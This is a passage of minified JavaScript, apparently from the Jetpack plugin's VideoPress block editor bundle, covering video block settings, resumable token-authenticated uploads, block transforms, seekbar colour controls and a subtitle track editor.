s={id:i};Object.assign(s,e),c()({path:"/wpcom/v2/videopress/meta",method:"POST",data:s}).then((e=>{status in e&&200!==e.status&&n()})).catch((()=>n())).finally((()=>{r(),a(o)}))})),this.state={media:null,isFetchingMedia:!1,fallback:!1,interactive:!1,rating:null,lastRequestedMediaId:null,isUpdatingRating:!1,allowDownload:null,privacySetting:S.v.SITE_DEFAULT,isUpdatingAllowDownload:!1,fileForUpload:e.fileForImmediateUpload,isUpdatingIsPrivate:!1,isEditingWhileUploading:!1,isUploadComplete:!1,lastPosterValueSource:""},this.posterImageButton=(0,f.createRef)(),this.previewCacheReloadTimer=null,this.previewFailuresCount=0}static getDerivedStateFromProps(e,t){const n={};if(!e.isSelected&&t.interactive&&(n.interactive=!1),t.fileForUpload&&!t.isEditingWhileUploading){null!==t.fileForUpload&&t.fileForUpload instanceof File&&(n.isEditingWhileUploading=!0)}return Object.keys(n).length?n:null}async componentDidMount(){const{guid:e}=this.props.attributes;e?this.setTracks(e):await this.setGuid(),this.setRatingAndAllowDownload()}async componentDidUpdate(e){const{attributes:t,invalidateCachedEmbedPreview:n,preview:r,setAttributes:a,url:o,isFetchingPreview:i}=this.props;t.id!==e.attributes.id&&(await this.setGuid(),this.setRatingAndAllowDownload());let s=!1;if(o&&o!==e.url&&(n(o),s=!0),r){const e=(0,A.f6)(r.html,y()("wp-block-embed","is-type-video","is-provider-videopress"),!1);this.previewFailuresCount=0,a({videoPressClassNames:e})}else i||s||!this.props.attributes.guid||this.schedulePreviewCacheReload()}getPreloadHelp(){const{attributes:e}=this.props;return"auto"===e.preload?__("Note: Automatically downloading videos may cause issues if there are many videos displayed on the same page.","jetpack"):null}renderControlLabelWithTooltip(e,t){return(0,s.createElement)(p.Tooltip,{text:t,position:"top"},(0,s.createElement)("span",null,e))}render(){const{attributes:t,instanceId:n,isFetchingPreview:r,isUploading:o,preview:i,resumableUploadEnabled:l,setAttributes:u}=this.props,{fallback:m,fileForUpload:h,isFetchingMedia:v,isUpdatingRating:k,interactive:y,rating:E,allowDownload:w,privacySetting:_,isUpdatingAllowDownload:x,isUpdatingPrivacySetting:T,videoPosterImageData:N}=this.state,{autoplay:B,caption:Z,controls:F,guid:D,loop:O,muted:z,playsinline:U,poster:$,preload:H,useAverageColor:V,videoPressTracks:G,isVideoPressExample:q,src:W}=t;if(q&&W)return(0,s.createElement)("img",{src:W,alt:Z});const X=`video-block__poster-image-description-${n}`,K=!(!$&&!N),J=(0,s.createElement)(f.Fragment,null,(0,s.createElement)(d.BlockControls,{group:"block"},(0,s.createElement)(L.Z,{tracks:G,onChange:e=>{u({videoPressTracks:e})},guid:D})),(0,s.createElement)(d.BlockControls,null,(0,s.createElement)(p.ToolbarGroup,null,(0,s.createElement)(p.ToolbarButton,{className:"components-icon-button components-toolbar__control",text:__("Replace","jetpack"),onClick:this.switchToEditing}))),(0,s.createElement)(d.InspectorControls,null,(0,s.createElement)(p.PanelBody,{title:__("Video Settings","jetpack")},(0,s.createElement)(p.ToggleControl,{label:this.renderControlLabelWithTooltip(__("Autoplay","jetpack"),/* translators: Tooltip describing the "autoplay" option for the VideoPress player */
__("Start playing the video as soon as the page loads","jetpack")),onChange:this.toggleAttribute("autoplay"),checked:B,help:this.getAutoplayHelp}),(0,s.createElement)(p.ToggleControl,{label:this.renderControlLabelWithTooltip(__("Loop","jetpack"),/* translators: Tooltip describing the "loop" option for the VideoPress player */
__("Restarts the video when it reaches the end","jetpack")),onChange:this.toggleAttribute("loop"),checked:O}),(0,s.createElement)(p.ToggleControl,{label:__("Muted","jetpack"),onChange:this.toggleAttribute("muted"),checked:z}),(0,s.createElement)(p.ToggleControl,{label:this.renderControlLabelWithTooltip(__("Playback Controls","jetpack"),/* translators: Tooltip describing the "controls" option for the VideoPress player */
__("Display the video playback controls","jetpack")),onChange:this.toggleAttribute("controls"),checked:F}),(0,s.createElement)(p.ToggleControl,{label:this.renderControlLabelWithTooltip(__("Play Inline","jetpack"),/* translators: Tooltip describing the "playsinline" option for the VideoPress player */
__("Play the video inline instead of full-screen on mobile devices","jetpack")),onChange:this.toggleAttribute("playsinline"),checked:U}),(0,s.createElement)(p.SelectControl,{label:this.renderControlLabelWithTooltip(__("Preload","jetpack"),/* translators: Tooltip describing the "preload" option for the VideoPress player */
__("Content to dowload before the video is played","jetpack")),value:null!=H?H:"",onChange:e=>u({preload:e}),options:[{value:"auto",label:_x("Auto","VideoPress preload setting","jetpack")},{value:"metadata",label:_x("Metadata","VideoPress preload setting","jetpack")},{value:"none",label:_x("None","VideoPress preload setting","jetpack")}],help:this.getPreloadHelp()}),(0,s.createElement)(d.MediaUploadCheck,null,(0,s.createElement)(p.BaseControl,{className:"editor-video-poster-control",label:__("Poster Image","jetpack")},(0,s.createElement)(d.MediaUpload,{title:__("Select Poster Image","jetpack"),onSelect:this.onSelectPoster,allowedTypes:R,render:e=>{let{open:t}=e;return(0,s.createElement)(p.Button,{variant:"secondary",onClick:t,ref:this.posterImageButton,"aria-describedby":X},K?__("Replace image","jetpack",0):__("Select Poster Image","jetpack"))}}),(0,s.createElement)("p",{id:X,hidden:!0},K?(0,b.sprintf)(/* translators: Placeholder is an image URL. */
__("The current poster image url is %s","jetpack"),null!=$?$:N):__("There is no poster image currently selected","jetpack")),K&&(0,s.createElement)(p.Button,{onClick:this.onRemovePoster,variant:"link",isDestructive:!0},__("Remove Poster Image","jetpack")))),(0,f.createInterpolateElement)(__("Send us your <a>VideoPress feedback</a>","jetpack"),{a:(0,s.createElement)(p.ExternalLink,{href:"https://automattic.survey.fm/videopress-feedback"})})),(0,s.createElement)(P.Z,{attributes:t,setAttributes:u,useAverageColor:V,toggleAttribute:this.toggleAttribute}),(0,s.createElement)(p.PanelBody,{title:__("Video File Settings","jetpack")},(0,s.createElement)(p.SelectControl,{label:_x("Rating","The age rating for this video.","jetpack"),value:null!=E?E:"",disabled:v||k,options:[{label:_x("G",'Video rating for "General Audiences".',"jetpack"),value:"G"},{label:_x("PG-13",'Video rating for "Parental Guidance", unsuitable for children under 13.',"jetpack"),value:"PG-13"},{label:_x("R",'Video rating for "Restricted", not recommended for children under 17.',"jetpack"),value:"R-17"}],onChange:this.onChangeRating}),(0,s.createElement)(p.ToggleControl,{label:this.renderControlLabelWithTooltip(__("Allow download","jetpack"),/* translators: Tooltip describing the "allow download" option for the VideoPress player */
__("Display download option and allow viewers to download this video","jetpack")),onChange:this.onChangeAllowDownload,checked:w,disabled:v||x}),(0,s.createElement)(p.SelectControl,{label:__("Video Privacy","jetpack"),help:this.getPrivacySettingHelp(_),onChange:this.onChangePrivacySetting,value:null!=_?_:"",options:[{value:S.v.SITE_DEFAULT,label:_x("Site Default","VideoPress privacy setting","jetpack")},{value:S.v.PUBLIC,label:_x("Public","VideoPress privacy setting","jetpack")},{value:S.v.PRIVATE,label:_x("Private","VideoPress privacy setting","jetpack")}],disabled:v||T})))),Y=e=>{this.setState({fileForUpload:e[0]})},Q=e=>{e&&e.url?(this.props.setAttributes({src:e.url,id:e.id,poster:e.image?.src!==e.icon?e.image?.src:void 0}),e.videopress_guid&&this.props.setAttributes({guid:e.videopress_guid})):u({src:void 0,id:void 0,poster:void 0})},ee=()=>"videoPressUploadPoster"in window,te=(0,g.escapeHTML)(h?(0,A.K8)(h.name):""),ne=e=>{var t;let{mediaId:n,guid:r,src:a}=e;this.setState({title:null!==(t=this.state.title)&&void 0!==t?t:te,fileForUpload:null,isUploadComplete:!!n,isEditingWhileUploading:!!n&&this.state.isEditingWhileUploading}),n&&r&&a&&u({id:n,guid:r,src:a})},re=e=>{this.setState({title:e})},ae=e=>{this.setState({videoFrameSelectedInMillis:e,videoPosterImageData:null})},oe=()=>{const e=this.state.title;this.updateMetaApiCall({title:e},(()=>this.setState({isUpdatingTitle:!0,title:e})),(()=>this.setState({title:e})),(()=>this.setState({isUpdatingTitle:!1})))},ie=()=>de({at_time:this.state.videoFrameSelectedInMillis,is_millisec:!0}),se=()=>de({poster_attachment_id:this.state.videoPosterImageData.id}),le=e=>{e.generating?ce():ue(e.poster)},ce=()=>{setTimeout((()=>{(ee()?window.videoPressGetPoster(D):c()({path:`/videos/${D}/poster`,apiNamespace:"rest/v1.1",global:!0,method:"GET"})).then((e=>le(e)))}),2e3)},ue=e=>{e&&u({poster:e})},de=e=>{if(ee())return window.videoPressUploadPoster(D,e).then((e=>le(e)));c()({path:`/videos/${D}/poster`,apiNamespace:"rest/v1.1",method:"POST",global:!0,data:e}).catch((e=>e))},pe=()=>{const{title:e,videoFrameSelectedInMillis:t}=this.state;e&&oe(),N?se():null!=t&&ie()},me=()=>{this.setState({isEditingWhileUploading:!1}),pe()};if(null!=h&&h.name||this.state.isEditingWhileUploading){var he;const e=null!==(he=this.state.title)&&void 0!==he?he:te;return(0,s.createElement)(I,{fileForUpload:h,filename:te,uploadFinished:ne,blockSettings:J,onDismissEditor:me,isUploadComplete:this.state.isUploadComplete,onSelectPoster:this.onSelectPoster,onRemovePoster:this.onRemovePoster,onChangeTitle:re,title:e,videoPosterImageData:this.state.videoPosterImageData,onVideoFrameSelected:ae,onSave:pe})}const fe=v||r,ge=m||o||!D,be=ge&&!o&&!fe,ve=(0,s.createElement)(f.Fragment,null,(0,s.createElement)("div",{className:o||fe?"":"videopress-block-hide"},(0,s.createElement)(j.Z,{text:o?__("Uploading…","jetpack"):__("Generating preview…","jetpack",0)})),(0,s.createElement)("div",{className:be?"":"videopress-block-hide"},(0,s.createElement)(e,this.props)));if(ge)return l?(0,s.createElement)(C.Z,{onFilesSelected:Y,onMediaItemSelected:Q},ve):(0,s.createElement)(f.Fragment,null,ve);const{html:ke,scripts:ye}=i||{html:null,scripts:null},Ee=fe||!i;return(0,s.createElement)(f.Fragment,null,J,Ee&&(0,s.createElement)(j.Z,{text:__("Generating preview…","jetpack")}),!Ee&&(0,s.createElement)(M,a()({},this.props,{hideOverlay:this.hideOverlay,html:ke,scripts:ye,interactive:y,caption:Z})))}}]),"withVideoPressEdit")},37549:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(6975),s=n(13419),l=n(11313),c=n(52175),u=n(65391),d=n(4981),p=n(55609),m=n(94333),h=n(9818),f=n(12238),g=n(69307),b=n(92694),v=n(65736),k=n(92819),y=n(10723),E=n(29899),w=n(97504),_=n(34284),C=n(58351),S=n(30053),j=n(23096),x=n(77290),P=n(23062),L=n(84676),T=n(41194);const __=v.__,N=(0,m.createHigherOrderComponent)((e=>t=>{const{name:n}=(0,c.useBlockEditContext)();return"core/video"!==n?(0,o.createElement)(e,t):(0,o.createElement)(e,a()({},t,{disableDropZone:!0,className:"no-videopress-media-placeholder"}),(0,o.createElement)(p.Button,{disabled:!0,className:"components-button no-videopress-disabled-button",variant:"secondary"},__("Media Library","jetpack")),(0,o.createElement)(p.Button,{disabled:!0,className:"components-button no-videopress-disabled-button",variant:"secondary"},__("Upload","jetpack")))}),"videoPressNoPlanMediaPlaceholder"),A=(0,m.createHigherOrderComponent)((e=>t=>{const{name:n}=(0,c.useBlockEditContext)();if("core/video"!==n)return(0,o.createElement)(e,t);const{onFilesSelected:r,onMediaItemSelected:i}=(0,g.useContext)(y.H),s={...t,handleUpload:!1,disableDropZone:!0,onSelect:e=>{void 0!==e.length?r(e):i(e)}};return(0,o.createElement)(e,a()({},s,{className:"videopress-media-placeholder"}))}),"videoPressMediaPlaceholder"),R=(e,t,n)=>("core/video"!==t.name||!n.guid||n.className?.indexOf("wp-block-video")>=0||n.videoPressClassNames||(e.className=e.className.replace("wp-block-video","").trim()),e);(0,b.addFilter)("blocks.registerBlockType","jetpack/videopress",((e,t)=>{if("core/embed"===t)return(e=>{if(!("variations"in e)||"object"!=typeof e.variations)return;const{available:t}=(0,s.OZ)("videopress");e.variations.some((e=>"videopress"===e.name&&(t&&(e.scope=[]),e.patterns.push(/^https?:\/\/v\.wordpress\.com\/([a-zA-Z\d]{8})(.+)?$/i),!0)))})(e),e;if("core/video"!==t||e.isDeprecation)return e;const{deprecated:n,edit:r,save:a,supports:o,transforms:i}=e,{available:c,unavailableReason:u}=(0,s.OZ)("videopress"),p=((0,s.Wp)()||(0,s.Ug)())&&["missing_plan","unknown"].includes(u),m=!!window.videoPressResumableEnabled;if(p?((0,b.addFilter)("editor.MediaPlaceholder","jetpack/videopress",N),(0,b.addFilter)("editor.BlockListBlock","jetpack/videopress-with-has-warning-is-interactive-class-names",(0,s.T)("core/video"))):c&&(m&&(0,b.addFilter)("editor.MediaPlaceholder","jetpack/videopress",A),e.description=__("Embed a video from your media library or upload a new one with VideoPress.","jetpack"),e.example.attributes={caption:"",isVideoPressExample:!0,src:T}),(0,b.addFilter)("blocks.getSaveContent.extraProps","jetpack/videopress",R,20),c||["missing_plan","missing_module","unknown"].includes(u)){const t={autoplay:{type:"boolean"},caption:{type:"string",source:"html",selector:"figcaption"},controls:{type:"boolean",default:!0},maxWidth:{type:"string",default:"100%"},guid:{type:"string"},id:{type:"number"},loop:{type:"boolean"},isVideoPressExample:{type:"boolean",default:!1},muted:{type:"boolean"},playsinline:{type:"boolean"},poster:{type:"string"},preload:{type:"string",default:"metadata"},seekbarPlayedColor:{type:"string",default:""},seekbarLoadingColor:{type:"string",default:""},seekbarColor:{type:"string",default:""},src:{type:"string",source:"attribute",selector:"video",attribute:"src"},useAverageColor:{type:"boolean",default:!0},videoPressTracks:{type:"array",items:{type:"object"},default:[]},videoPressClassNames:{type:"string"},fileForImmediateUpload:{type:"object",default:null}},s=/https?:\/\/v\.wordpress\.com\/([a-zA-Z\d]{8})(.+)?/i;return{...e,attributes:t,transforms:{...i,from:[{type:"files",isMatch:e=>(0,k.every)(e,(e=>0===e.type.indexOf("video/"))),priority:9,transform:(e,t)=>{const n=[];return e.forEach((e=>{if(c&&m){const t=(0,d.createBlock)("core/video",{fileForImmediateUpload:e});n.push(t)}else{const r=(0,d.createBlock)("core/video",{src:(0,l.createBlobURL)(e)});(0,f.mediaUpload)({filesList:[e],onFileChange:e=>{let[{id:n,url:a}]=e;t(r.clientId,{id:n,src:a})},allowedTypes:["video"]}),n.push(r)}})),n}},{type:"raw",isMatch:e=>"P"===e.nodeName&&s.test(e.innerHTML),transform:e=>{const t=s.exec(e.innerHTML);return(0,d.createBlock)("core/embed",{url:"https://videopress.com/v/"+t[1].trim()})}}]},supports:{...o,reusable:!1},edit:(0,S.Z)(r),save:(0,j.Z)(a),deprecated:[...n||[],C.Z,_.Z,{attributes:t,isEligible:e=>!e.guid,save:a,supports:o,isDeprecation:!0},w.Z,E.Z]}}return e}),5),(0,b.addFilter)("blocks.registerBlockType","videopress/add-wp-chapters-support",L.Z),(0,b.addFilter)("blocks.registerBlockType","videopress/add-v6-transform-support",P.Z),(0,b.addFilter)("blocks.registerBlockType","videopress/add-core-video-transform",(function(e,t){if("videopress/video"!==t)return e;const n=(0,d.getBlockType)("videopress/video"),{available:r}=(0,s.OZ)("videopress/video");return n&&r?{...e,transforms:{from:[...e.transforms?.from||[],{type:"block",blocks:["core/video"],isMatch:e=>{const{src:t,guid:n}=e,r=(0,x.Zx)(t);return n||r},transform:e=>{const t=(0,h.select)(f.store).getCurrentPostId();return i.Z?.tracks?.recordEvent("jetpack_editor_videopress_block_manual_transform_click",{post_id:t}),(0,d.createBlock)("videopress/video",e)}}],to:[...e.transforms?.to||[],{type:"block",blocks:["core/video"],transform:e=>(0,d.createBlock)("core/video",e)}]}}:e}));const I=(0,m.createHigherOrderComponent)((e=>t=>{const{block:n}=t,{name:r,attributes:a,clientId:i,__unstableBlockSource:l}=n,{replaceBlock:u}=(0,h.useDispatch)(c.store),{url:p,guid:m,providerNameSlug:f}=a,{available:b}=((0,x.Kp)(a),(0,d.getBlockType)("videopress/video"),(0,s.OZ)("videopress/video")),v="core/embed"===r,k=(0,x.Zx)(p),y=v&&k?k:m;(0,s.Wp)();return(0,g.useEffect)((()=>{}),[i,false,a,l,u,y]),(0,o.createElement)(e,t)}),"convertVideoBlockToVideoPressVideoBlock");(0,b.addFilter)("editor.BlockListBlock","videopress/jetpack-convert-to-videopress-video-block",I);const M=(0,m.createHigherOrderComponent)((e=>t=>{const{block:n}=t,{name:r,attributes:a,clientId:i}=n,{replaceBlock:s}=(0,h.useDispatch)(c.store);return(0,g.useEffect)((()=>{if("core/missing"===r&&"videopress/video"===a?.originalName)try{const e=(0,u.parse)(a.originalContent),t=e?.[0];if(!t)return;const{attrs:n}=t;s(i,(0,d.createBlock)("core/video",function(e){const t={...e};return e?.tracks&&(t.videoPressTracks=e.tracks,delete t.tracks),e?.isExample&&(t.isVideoPressExample=e.isExample,delete t.isExample),e?.classNames&&(t.videoPressClassNames=e.classNames,delete t.classNames),delete t.title,delete t.description,delete t.cacheHtml,delete t.videoRatio,delete t.privacySetting,delete t.allowDownload,delete t.displayEmbed,delete t.rating,delete t.isPrivate,t}(n)))}catch(e){console.error("Error converting VideoPress block to core/video",e)}}),[r,i,a,s]),(0,o.createElement)(e,t)}),"convertV6toV5");(0,b.addFilter)("editor.BlockListBlock","videopress/jetpack-convert-from-v6-to-v5",M)},31302:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=e=>{let{text:t}=e;return(0,r.createElement)("div",{className:"wp-block-embed is-loading"},(0,r.createElement)(a.Spinner,null),(0,r.createElement)("p",null,t))}},43774:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(90861),l=n.n(s),c=n(10723),u=n(5482);const __=i.__;function d(e){let{file:t}=e;const[n,s]=(0,o.useState)(0),[d,p]=(0,o.useState)(!1),[m,h]=(0,o.useState)(null),[f,g]=(0,o.useState)(null),[b,v]=(0,o.useState)(null),{onUploadFinished:k}=(0,o.useContext)(c.H),y=(0,o.useRef)(null);y.current=m;const E=(0,o.useCallback)((()=>{const e=(0,u.J)({onError:e=>{g(e)},onProgress:(e,t)=>{s(e/t*100)},onSuccess:e=>{k(e)},onUploadUuidRetrieved:e=>{null===b&&v(e)}});(0,u.v)().then((n=>{const r=e(t,n);h(r)})).catch((e=>{g(e)}))}),[t,k,b]);(0,o.useEffect)((()=>(E(),()=>{null!==y.current&&y.current.abort()})),[]);const w=Math.round(n),_={width:`${w}%`},C=l()(t.size);return(0,r.createElement)(r.Fragment,null,null!==f?(0,r.createElement)("div",{className:"resumable-upload__error"},(0,r.createElement)("div",{className:"resumable-upload__error-text"},(()=>{let e=__("An error was encountered during the upload. Check your network connection.","jetpack");if("object"==typeof f){const t=f.toString().match(/message":"([^"]+)"/);if(t&&"object"==typeof t&&2===t.length){const n=t[1];if("Invalid Mime"!==n)return n;e=(0,r.createElement)(r.Fragment,null,__("The format of the video you uploaded is not supported.","jetpack")," ",(0,r.createElement)(a.ExternalLink,{href:"https://wordpress.com/support/videopress/recommended-video-settings/",target:"_blank",rel:"noreferrer"},__("Check the recommended video settings.","jetpack")))}}return e})()),(0,r.createElement)(a.Button,{variant:"primary",onClick:()=>(g(null),void E())},__("Try again","jetpack")),(0,r.createElement)(a.Button,{variant:"secondary",onClick:()=>k({mediaId:null}),className:"resumable-upload__error-cancel"},__("Cancel","jetpack"))):(0,r.createElement)("div",{className:"resumable-upload__status"},(0,r.createElement)("div",{className:"resumable-upload__progress"},(0,r.createElement)("div",{className:"resumable-upload__progress-loaded",style:_})),(0,r.createElement)("div",{className:"resumable-upload__file-info"},(0,r.createElement)("div",null,d?(0,i.sprintf)(/* translators: Placeholder is an upload progress percenatage number, from 0-100. */
__("Paused (%s%%)","jetpack"),w):(0,i.sprintf)(/* translators: Placeholder is an upload progress percenatage number, from 0-100. */
__("Uploading (%s%%)","jetpack"),w)),(0,r.createElement)("div",{className:"resumable-upload__file-size"},C)),(0,r.createElement)("div",{className:"resumable-upload__actions"},(0,r.createElement)(a.Button,{variant:"link",onClick:()=>{m&&(d?m.start():m.abort(),p(!d))}},d?"Resume":"Pause"))))}},5482:function(e,t,n){"use strict";n.d(t,{J:function(){return i},v:function(){return a}});var r=n(99537);const a=function(e){return new Promise((function(t,n){const r=e?{data:{key:e}}:{};wp.media.ajax("videopress-get-upload-jwt",{async:!0,...r}).done((function(e){t({token:e.upload_token,blogId:e.upload_blog_id,url:e.upload_action_url})})).fail((function(e){n(e)}))}))},o={},i=e=>{let{onUploadUuidRetrieved:t,onError:n,onProgress:i,onSuccess:s}=e;return(e,l)=>{const c=new r.gq(e,{onError:n,onProgress:i,endpoint:l.url,removeFingerprintOnSuccess:!0,withCredentials:!1,autoRetry:!0,overridePatchMethod:!1,chunkSize:1e7,allowedFileTypes:["video/*"],metadata:{filename:e.name,filetype:e.type},retryDelays:[0,1e3,3e3,5e3,1e4],onAfterResponse:function(e,n){if(n.getStatus()>=400)return;const r=n.getHeader("x-videopress-upload-guid"),a=n.getHeader("x-videopress-upload-media-id"),i=n.getHeader("x-videopress-upload-src-url");if(r&&a&&i)return void(s&&s({mediaId:Number(a),guid:r,src:i}));const l={"x-videopress-upload-key-token":"token","x-videopress-upload-key":"key"},c={};Object.keys(l).forEach((function(e){const t=n.getHeader(e);t&&(c[l[e]]=t)})),c.key&&c.token&&(o[c.key]=c.token),c.key&&t(c.key)},onBeforeRequest:function(e){const t=e._method;if(["HEAD","OPTIONS"].indexOf(t)>=0&&(e._method="GET",e.setHeader("X-HTTP-Method-Override",t)),["DELETE","PUT","PATCH"].indexOf(t)>=0&&(e._method="POST",e.setHeader("X-HTTP-Method-Override",t)),e._xhr.open(e._method,e._url,!0),Object.keys(e._headers).map((function(t){e.setHeader(t,e._headers[t])})),"POST"===t){if(!!!l.token)throw"should never happen";e.setHeader("x-videopress-upload-token",l.token)}if(["OPTIONS","GET","HEAD","DELETE","PUT","PATCH"].indexOf(t)>=0){const n=new URL(e._url).pathname.split("/"),r=n[n.length-1];if(o[r])e.setHeader("x-videopress-upload-token",o[r]);else if("HEAD"===t)return a(r).then((t=>(o[r]=t.token,e.setHeader("x-videopress-upload-token",t.token),e)))}return Promise.resolve(e)}});return c.findPreviousUploads().then((function(e){e.length&&c.resumeFromPreviousUpload(e[0]),c.start()})),c}}},23096:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(94333),i=n(65235),s=n.n(i),l=n(90953);t.Z=(0,o.createHigherOrderComponent)((e=>t=>{const{attributes:{autoplay:n,caption:o,controls:i,guid:c,loop:u,muted:d,playsinline:p,poster:m,preload:h,videoPressClassNames:f,className:g,align:b,seekbarColor:v,seekbarPlayedColor:k,seekbarLoadingColor:y,useAverageColor:E,maxWidth:w}={}}=t,_=a.useBlockProps.save({className:s()("wp-block-video",g,f,{[`align${b}`]:b})});if(!c)return e(t);const C=(0,l.p)(c,{autoplay:n,controls:i,loop:u,muted:d,playsinline:p,poster:m,preload:h,seekbarColor:v,seekbarPlayedColor:k,seekbarLoadingColor:y,useAverageColor:E});let S={};return w&&w.length>0&&"100%"!==w&&(S={maxWidth:w,margin:"auto"}),(0,r.createElement)("figure",_,(0,r.createElement)("div",{className:"wp-block-embed__wrapper",style:S},`\n${C}\n`),!a.RichText.isEmpty(o)&&(0,r.createElement)(a.RichText.Content,{tagName:"figcaption",value:o}))}),"withVideoPressSave")},75880:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(52175),s=n(55609),l=n(69307),c=n(65736);n(99196);const __=c.__;class u extends l.Component{constructor(){super(...arguments),a()(this,"handleChangeSeekbarColor",(e=>{this.setState({seekbarColor:e})})),a()(this,"handleChangeSeekbarLoadingColor",(e=>{this.setState({seekbarLoadingColor:e})})),a()(this,"handleChangeSeekbarPlayedColor",(e=>{this.setState({seekbarPlayedColor:e})})),a()(this,"saveColors",(()=>{const{seekbarColor:e,seekbarLoadingColor:t,seekbarPlayedColor:n}=this.state,{setAttributes:r}=this.props;r({seekbarColor:e,seekbarLoadingColor:t,seekbarPlayedColor:n})}));const{seekbarColor:e,seekbarPlayedColor:t,seekbarLoadingColor:n}=this.props.attributes;this.state={seekbarColor:e,seekbarPlayedColor:t,seekbarLoadingColor:n}}render(){const{seekbarColor:e,seekbarPlayedColor:t,seekbarLoadingColor:n}=this.state,{toggleAttribute:r,useAverageColor:a}=this.props,l=!0;return(0,o.createElement)(s.PanelBody,{className:"seekbar-color-settings__panel",title:__("Progress Bar Colors","jetpack"),initialOpen:!1},(0,o.createElement)(s.ToggleControl,{label:__("Match video","jetpack"),help:__("Colors adapt to the video as it plays","jetpack"),onChange:r("useAverageColor"),checked:a}),(0,o.createElement)(i.PanelColorSettings,{opened:!a,showTitle:!1,colorSettings:[{value:e,onChange:this.handleChangeSeekbarColor,label:__("Main","jetpack"),showTitle:l},{value:n,onChange:this.handleChangeSeekbarLoadingColor,label:__("Loaded","jetpack"),showTitle:l},{value:t,onChange:this.handleChangeSeekbarPlayedColor,label:__("Progress","jetpack"),showTitle:l}]},(0,o.createElement)(s.Button,{variant:"secondary",onClick:this.saveColors},__("Save colors","jetpack"))))}}t.Z=u},22081:function(e,t,n){"use strict";n.d(t,{Z:function(){return E},n:function(){return b}});var r=n(51806),a=n(86989),o=n.n(a),i=n(52175),s=n(55609),l=n(9818),c=n(69307),u=n(65736),d=n(47659);const __=u.__,p="subtitles",m=".vtt,text/vtt",h=[{label:__("Subtitles","jetpack"),value:"subtitles"},{label:__("Captions","jetpack"),value:"captions"},{label:__("Descriptions","jetpack"),value:"descriptions"},{label:__("Chapters","jetpack"),value:"chapters"},{label:__("Metadata","jetpack"),value:"metadata"}],f=(0,r.createElement)(s.SVG,{width:"18",height:"14",viewBox:"0 0 18 14",role:"img",fill:"none"},(0,r.createElement)(s.Rect,{x:"0.75",y:"0.75",width:"16.5",height:"12.5",rx:"1.25",stroke:"black",strokeWidth:"1.5",fill:"none"}),(0,r.createElement)(s.Path,{d:"M3 7H15",stroke:"black",strokeWidth:"1.5"}),(0,r.createElement)(s.Path,{d:"M3 10L15 10",stroke:"black",strokeWidth:"1.5"})),g=()=>"videoPressUploadTrack"in window,b=(e,t)=>{if(g())return window.videoPressUploadTrack(t,e.kind,e.srcLang,e.label,e.tmpFile);const n={method:"POST",path:`/videos/${t}/tracks`,apiNamespace:"rest/v1.1",global:!0,parse:!1,formData:[["kind",e.kind],["srclang",e.srcLang],["label",e.label],["vtt",e.tmpFile]]};return o()(n)},v=(e,t)=>{if(g())return window.videoPressDeleteTrack(t,e.kind,e.srcLang);const n={method:"POST",path:`/videos/${t}/tracks/delete`,apiNamespace:"rest/v1.1",global:!0,parse:!1,formData:[["kind",e.kind],["srclang",e.srcLang]]};return o()(n)};function k(e){let{tracks:t,onChange:n,guid:a}=e;const[o=-1,i]=(0,c.useState)();let l;return l=0===t.length?(0,r.createElement)("p",{className:"videopress-block-tracks-editor__tracks-informative-message"},__("Tracks can be subtitles, captions, chapters, or descriptions. They help make your content more accessible to a wider range of users.","jetpack")):t.map(((e,l)=>(0,r.createElement)("div",{key:l,className:"videopress-block-tracks-editor__track-list-track"},(0,r.createElement)("span",null,e.label),(0,r.createElement)("div",{className:"videopress-block-tracks-editor__track-list-track-delete"},(0,r.createElement)(s.Button,{variant:"link",isDestructive:!0,onClick:()=>{(e=>{const r=t[e];i(e),v(r,a).finally((()=>{n(t.filter(((t,n)=>n!==e))),i(-1)}))})(l)},"aria-label":(0,u.sprintf)(/* translators: %s: Label of the video text track e.g: "French subtitles" */
__("Delete %s","jetpack"),e.label),disabled:o===l},o===l?__("Deleting","jetpack"):__("Delete","jetpack",0)))))),(0,r.createElement)(s.MenuGroup,{label:__("Text tracks","jetpack"),className:"videopress-block-tracks-editor__track-list"},l)}function y(e){let{track:t,guid:n,onChange:a,onClose:o,onCancel:d,trackExists:f}=e;const[g,v]=(0,c.useState)(),[k=!1,y]=(0,c.useState)(),{label:E="",srcLang:w="",kind:_=p}=t,C=t.tmpFile?t.tmpFile.name:"";if(!(0,l.useSelect)((e=>e(i.store).getSettings().mediaUpload),[]))return null;return(0,r.createElement)(s.NavigableMenu,null,(0,r.createElement)("div",{className:"videopress-block-tracks-editor__single-track-editor"},(0,r.createElement)("span",{className:"videopress-block-tracks-editor__single-track-editor-label"},__("Edit track","jetpack")),(0,r.createElement)("div",{className:"videopress-block-tracks-editor__single-track-editor-upload-file"},(0,r.createElement)("div",{className:"videopress-block-tracks-editor__single-track-editor-upload-file-label"},(0,r.createElement)("span",null,__("File","jetpack"),":"),""!==C&&(0,r.createElement)("span",{className:"videopress-block-tracks-editor__single-track-editor-upload-file-label-name"},(0,r.createElement)("strong",null,C)),(0,r.createElement)(i.MediaUploadCheck,null,(0,r.createElement)(s.FormFileUpload,{onChange:e=>{const n=e.target.files;!n.length>0||(t.tmpFile=n[0],a(t))},accept:m,render:e=>{let{openFileDialog:t}=e;return(0,r.createElement)(s.Button,{variant:"link",onClick:()=>{t()}},""===C?__("Select track","jetpack"):__("Change track","jetpack",0))},disabled:k}))),(0,r.createElement)("div",{className:"videopress-block-tracks-editor__single-track-editor-upload-file-help"},/* translators: %s: The allowed file types to be uploaded as a video text track." */
(0,u.sprintf)(__("Allowed formats: %s","jetpack"),m))),(0,r.createElement)("div",{className:"videopress-block-tracks-editor__single-track-editor-label-language"},(0,r.createElement)(s.TextControl,{onChange:e=>a({...t,label:e}),label:__("Label","jetpack"),value:E,help:__("Title of track","jetpack"),disabled:k}),(0,r.createElement)(s.TextControl,{onChange:e=>a({...t,srcLang:e}),label:__("Source language","jetpack"),value:w,help:__("Language tag (en, fr, etc.)","jetpack"),disabled:k})),(0,r.createElement)(s.SelectControl,{className:"videopress-block-tracks-editor__single-track-editor-kind-select",options:h,value:_,label:/* translators: %s: The kind of video text track e.g: "Subtitles, Captions" */
